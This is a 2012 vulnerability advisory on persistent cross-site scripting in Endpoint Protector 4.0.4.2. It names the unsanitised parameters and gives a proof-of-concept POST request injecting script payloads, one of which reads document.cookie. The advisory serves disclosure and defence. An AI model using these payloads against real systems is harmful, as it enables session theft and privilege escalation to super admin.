  Advisory Name: Multiple Persistent Cross-Site Scripting (XSS) in Endpoint Protector   Internal Cybsec Advisory Id: 2012-1029-Multiple Persistent XSS in Endpoint Protector   Vulnerability Class: Permanent Cross-Site Scripting (XSS)   Release Date: 10/29/2012   Affected Applications: Endpoint Protector v4.0.4.2; other versions may also be affected.   Affected Platforms: Any running Endpoint Protector v4.0.4.2   Local / Remote: Remote   Severity: High � CVSS: 5.8 (AV:N/AC:M/Au:NR/C:N/I:P/A:P)   Researcher: Juan Manuel Garcia   Vendor Status: Acknowedged / Unpatched   Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf   Vulnerability Description: Multiple Persistent Cross-Site vulnerabilities were found in Endpoint Protector v4.0.4.2 [Virtual Appliance], because the application fails to sanitize the response before it is returned to the user. This can be exploited to execute arbitrary script and HTML code in a user&apos;s browser session. This may allow the attacker to steal the user&apos;s cookie and to launch further attacks. The parameters "client_device[name]" and "client_device[description]" in /index.php/clientdevice/create are not properly sanitized.   The parameters "client_machine[name]", "client_machine[domain]","client_machine[workgroup]" and "client_machine[location]" in /index.php/clientmachine/create are not properly sanitized. The parameter "group[name]" in /index.php/mgroup/create is not properly sanitized.   Other parameters might also be affected.   Proof of Concept: * The parameter "client_device[name]" in the POST request has been set to: <script>alert(document.cookie)</script> * The parameter "client_device[description]" in the POST request has been set to: <script>alert(1)</script> POST /index.php/clientdevice/create HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: https://xxx.xxx.xxx.xxx/index.php/ Cookie: place=clientdevice; mark=clientdevice; ratool=d4d3242c4444254d035b7f797738837e Content-Type: multipart/form-data; boundary=--------------------------- 17723440641777718806882422624 Content-Length: 1131 -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="id" -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[department_id]" 1 -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[device_type_id]" 1 -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[name]" <script>alert(document.cookie)</script> -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[description]" <script>alert(1)</script> -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[vid]" -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[pid]" -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[serialno]" -----------------------------17723440641777718806882422624--   Impact: An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application. In this particular case, any user with permission to access the administration console could gain "super admin" privileges by stealing the session cookie of another user with this permission.
